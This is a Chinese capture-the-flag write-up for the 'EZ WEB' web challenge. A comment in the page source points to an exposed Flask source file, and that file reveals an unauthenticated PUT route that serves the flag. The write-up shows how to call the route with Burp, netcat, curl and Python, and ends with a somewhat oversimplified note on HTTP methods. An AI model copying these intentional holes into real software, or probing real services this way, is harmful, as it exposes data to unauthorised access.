Problem: [GDOUCTF 2023]EZ WEB
思路
- 查看网页源码,提示访问 /src
<!DOCTYPE html>
<html>
<head>
<title>index</title>
<script>
function start() {
alert("Where's the flag? i swear it was around here somewhere");
}
</script>
</head>
<body>
<button onclick='start()'>click me for the flag</button>
<!-- /src -->
</body>
</html>
- 访问/src,得到app.py文件
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
- 对app.py代码审计,发现使用PUT方法,访问/super-secret-route-nobody-will-guess路径,可以得到flag
EXP1
- 利用Burp Suite,将http改为PUT
EXP2
- 利用Netcat工具
nc node5.anna.nssctf.cn 28045
PUT /super-secret-route-nobody-will-guess HTTP/1.1
EXP3
- 利用curl命令
- curl -i -X PUT http://node5.anna.nssctf.cn:28045/super-secret-route-nobody-will-guess
EXP4
- 利用python发送put请求
import requests
r = requests.put('http://node5.anna.nssctf.cn:28045/super-secret-route-nobody-will-guess')
print(r.text)
总结
- GET向指定的URL请求资源,可携带参数(明文)。
- POST向指定的URL提交资源,表单数据提交,数据进行封装(比Get方法安全)。
- PUT与POST类似,通常用于对资源数据的更新修改。
- PUT是用来传输文件的,它会将文件内容包含在请求报文的主体当中,然后将内容保存到指定的uri指定的位置上,不带自身验证的功能,任何人都可以通过PUT上传文件,这样就会导致不安全的因素,所以很多网站都会禁止使用该方法。
- DELETE删除指定的资源,和PUT大致一样,同样不具备验证功能,如果想要使用要建立中间桥接机制进行验证,验证之后在进行DELETE操作。